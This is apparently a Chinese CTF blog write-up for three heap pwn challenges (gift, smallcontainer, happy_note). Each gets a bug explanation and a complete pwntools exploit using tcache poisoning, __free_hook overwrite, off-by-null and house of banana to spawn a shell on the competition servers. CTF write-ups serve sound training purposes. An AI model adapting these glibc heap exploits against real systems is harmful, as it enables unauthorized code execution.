巅峰极客pwn wp

Pwn

gift

程序保护全开

程序功能:

  • add:最多只能申请十次堆块,每次申请大小为0x60或0x100,往里写内容的时候是往user_data+0x10处写。

  • delete:有UAF

  • show:可泄露

  • bargain:可以用来控制fd。并且类型为int,比较类型也是有符号比较,所以可以减0x10范围内的数字,或者加int(4字节内)的数字。

因为这道题idx太少了,直接free掉7个chunk填满tcache_list不可行,所以我是通过bargain函数修改fd指针到一个fake_chunk,这个fake_chunk大小属于unsortedbin范围,且可通过add一次0x60大小堆块修改到下一个已被free的0x100大小tcache去改掉它的next指针。

这样的话不仅可以泄露unsorted bin 的fd,还可以顺带改掉下一个已经被free掉的tcache的fd,实现tcache_dup

ps:这里也有个洞不过尝试了一下不好利用,在add里面mode选择3,会跳过malloc直接read:

[5MX`)__4R4ZAT[~}C)K)KM

问题出在,远程libc不确定,我最先尝试的是glibc 2.31 9.9free_hook五个ogg都失败(one_gadget -l2可以查看更多ogg)。因为idx原因也打不了malloc_hook,我打exit_hook成功了。

尝试远程之后寄。

后来尝试了2.29和2.27,在2.27成功。

EXP:

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/巅峰极客/gift/pwn')
libc = ELF('/mnt/hgfs/ubuntu/巅峰极客/gift/libc.so.6')
r = remote('101.200.85.91',44388)

def menu(choice):
    r.recvuntil(b"your choice:")
    r.sendline(str(choice))

def add(what,content):
    menu(2)
    r.recvuntil(b"your choice:")
    r.sendline(str(what))
    r.recvuntil(b"plz write your wish on your gift!")
    r.send(content)

def delete(idx):
    menu(3)
    r.recvuntil(b"index?")
    r.sendline(str(idx))

def show(idx):
    menu(4)
    r.recvuntil(b"index?")
    r.sendline(str(idx))

def bargain(idx,offset):
    menu(5)
    r.recvuntil(b"index?")
    r.sendline(str(idx))
    r.recvuntil(b"How much?")
    r.sendline(str(offset))



add(1,b'a'*0xc0+p64(0)+p64(0x451))#0
add(1,b'a'*8)#1
add(1,b'a'*8)#2
add(1,b'a'*8)#3
add(1,b'a'*0xd0+p64(0)+p64(0x21))#4



delete(0)

delete(2)
bargain(2,-0xe0)
add(1,b'a'*8)#5
add(1,b'a'*8)#6
delete(6)


show(6)
r.recvuntil(b'cost: ')
#-0x1ecba0
libc_base = int(r.recvuntil(b'\n')[:-1],10)-0x3ebca0
free_hook = libc_base+libc.symbols["__free_hook"]
# exit_hook = libc_base+0x218f68
# # system_addr = libc_base+0xe3cf6
one_gadget = libc_base+0x4f302
delete(3)
delete(1)
add(2,p64(free_hook-0x10)*8)#7
add(1,b'/bin/sh\x00')#8
add(1,p64(one_gadget))#9


# gdb.attach(r)
# menu(1)
delete(3)
# delete(3)
# show(6)
# r.recvuntil(b'cost: ')
# heap_addr =int(r.recvuntil(b'\n')[:-1],10)



# log.success("heap_addr: "+hex(heap_addr))
log.success("libc_base: "+hex(libc_base))
# gdb.attach(r)
r.interactive()

smallcontainer

2.27的off by null,感觉没什么好说的。

洞出在这里:

edit后会触发check函数:如果堆块内容连续(不带\x00),遇到堆块内容中含有\x11的字节就会转变为0。

2I)P]6F9@G}QZ)82D((EJLI

最开始打算用0x111大小的堆块去off by null,后面发现填不满tcache_list,猪鼻了,然后改成0x211大小的,直接打就行。这道题也不用怎么解释了,夹心饼攻击就行。

EXP:

from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
# r = process('/mnt/hgfs/ubuntu/巅峰极客/container/smallcontainer')
r = remote('101.200.85.91',23533)
libc = ELF('/mnt/hgfs/ubuntu/巅峰极客/container/libc-2.27.so')

def menu(choice):
    r.recvuntil(b"> ")
    r.sendline(str(choice))

def add(size):
    menu(1)
    r.recvuntil(b"Input size: ")
    r.sendline(str(size))

def delete(idx):
    menu(2)
    r.recvuntil(b"Input index: ")
    r.sendline(str(idx))

def edit(idx,content):
    menu(3)
    r.recvuntil(b"Input index: ")
    r.sendline(str(idx))
    r.sendline(content)

def show(idx):
    menu(4)
    r.recvuntil(b"Input index: ")
    r.sendline(str(idx))

add(0x1f8)#0
add(0x110)#1
add(0x110)#2
[add(0x1f8) for i in range(8)]#3-10

[delete(j)for j in range(3,10)]
delete(0)
add(0x208)#0
add(0x208)#3
add(0x218)#4
edit(10,b'a'*0x1f8)
edit(10,b'a'*0x1f0+p64(0x1440))
edit(0,b'a'*0x1f0+p64(0)+p64(0x221))
delete(0)
[add(0x1f8) for k in range(7)]#5-9,11,12
delete(2)
add(0x1f8)#2
show(1)
libc_base = int(r.recv(12),16)-0x3ebca0
free_hook = libc_base+libc.symbols["__free_hook"]
add(0x1f8)#12
edit(12,b'a'*0x110+p64(0)+p64(0x121)+p64(free_hook))
add(0x110)#13
add(0x110)#14
one_gadget = libc_base+0x4f302
edit(14,p64(one_gadget))

log.success("libc_base: "+hex(libc_base))
# gdb.attach(r)
delete(2)
r.interactive()

happy_note

唯一一道稍微有意思的题。

Glibc 2.34 3.2,house of kiwi刚好在这个版本失效,只有一次UAF而且size限制<=0x200,所以打mp_,hosue of emma全不行。

一次UAF不是什么问题,可以分解成很多个UAF,但是限制了只有两次add机会,这就相当于限制死了我们只有一次UAF了。一次UAF是改不了guard的。

因此剩余的办法就只有两种:一种house of banana,一种house of apple2,house of apple3。

我选择的是house of banana。

先泄露heap,libc基址和实现任意写:

我的方法是先用0x200大小的堆块填充满tcache_list,然后UAF free掉一个堆块,将这个堆块分割成两个小的堆块(0x10和0x1e0),只有这样才能实现任意写,不然原大小(0x200)的tcache_list是满的,也无法通过malloc来清空 tcache_list

然后free掉0x10大小的堆块,泄露高版本保护指针的key,然后free两个大小0x1e0大小的堆块,通过UAF改掉其中一个的fd,实现任意写。(高版本对tcache count有检测,不能free一个改掉fd就申请两次实现任意写)。

拿到任意写之后,我的方法是传统house of banana,打rtld_global的第一个变量ns_load,然后伪造。没开沙盒可以直接getshell。

不过这道题直接打libc里的原有的banana结构体应该更好更简洁。

EXP:

from secrets import choice
from pwn import *

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/巅峰极客/happy_note/happy_note')
r = remote('123.56.236.86',13397)
libc = ELF('/mnt/hgfs/ubuntu/巅峰极客/happy_note/libc.so.6')


def menu(choice):
    r.recvuntil(b">> ")
    r.sendline(str(choice))

def add(idx,size,choice):
    menu(1)
    r.recvuntil(b"Note size:")
    r.sendline(str(size))
    r.recvuntil(b"Choose a note:")
    r.sendline(str(idx))
    r.recvuntil(b"Choose a mode: [1] or [2]")
    r.sendline(str(choice))

def delete(idx):
    menu(2)
    r.recvuntil(b"Choose a note:")
    r.sendline(str(idx))

def edit(idx,content):
    menu(4)
    r.recvuntil(b"Choose a note:")
    r.sendline(str(idx))
    r.recvuntil(b"Edit your content:")
    r.send(content)

def show(idx):
    menu(3)
    r.recvuntil(b"Which one do you want to show?")
    r.sendline(str(idx))

def UAF(idx):
    menu(666)
    r.recvuntil(b"Choose a note:")
    r.sendline(str(idx))


[add(i,0x200,1)for i in range(9)]
[delete(j) for j in range(7)]#0-6
UAF(7)
show(7)
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-0x219cc0
add(0,0x10,1)
add(1,0x1e0,1)
add(2,0x1e0,1)
add(3,0x1e0,1)
delete(0)
show(7)
r.recvuntil(b'content: ')
key = u64(r.recvuntil(b'\n')[:-1].ljust(8,b'\0'))-1
heap_base = key*0x1000
delete(2)
delete(1)

rtld_global_addr = libc_base+0x25f040
edit(7,b'a'*0x20+p64(rtld_global_addr^(key+1)))
add(4,0x1e0,2)
add(5,0x1e0,2)
edit(5,p64(heap_base+0x1130)+p64(0x4))

ret_addr = libc_base+0x0000000000028a87
one_gadget = libc_base+0xeacec


fake_link_map_addr = heap_base + 0x1130
payload= p64(fake_link_map_addr + 0x20)+p64(0x61)
payload += p64(0) +  p64(libc_base + 0x2607d0) # l_next
payload += p64(0) + p64(fake_link_map_addr) # l_real
payload += p64(libc_base+libc.symbols["setcontext"]+61) # second call  rdx = the address of last call
payload += p64(ret_addr) # first call (fake_link_map_addr + 0x38)
payload += p64(one_gadget)

flag_addr = fake_link_map_addr + 0xe8

payload += p64(fake_link_map_addr + 0x40) # rsp
payload += p64(ret_addr) # rip
payload += b'./flag\x00\x00' # fake_link_map_addr + 0xe8
 
payload = payload.ljust(0x110, b'\x00')

payload += p64(fake_link_map_addr + 0x110) + p64(0x10) # l->l_info[26]  &  d_ptr = 0x10
payload += p64(fake_link_map_addr + 0x120) + p64(0x10) # l->l_info[28]  &  i = 0x10/8 = 2 => array[1] = l->l_addr + d_ptr + 8 => array[0] = l->l_addr + d_ptr


edit(4,payload)
edit(8,b'\x00'*0x128+p64(0x800000000))

log.success("heap_base: "+hex(heap_base))
log.success("libc_base: "+hex(libc_base))
# gdb.attach(r)
delete(0xb)
r.interactive()
  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值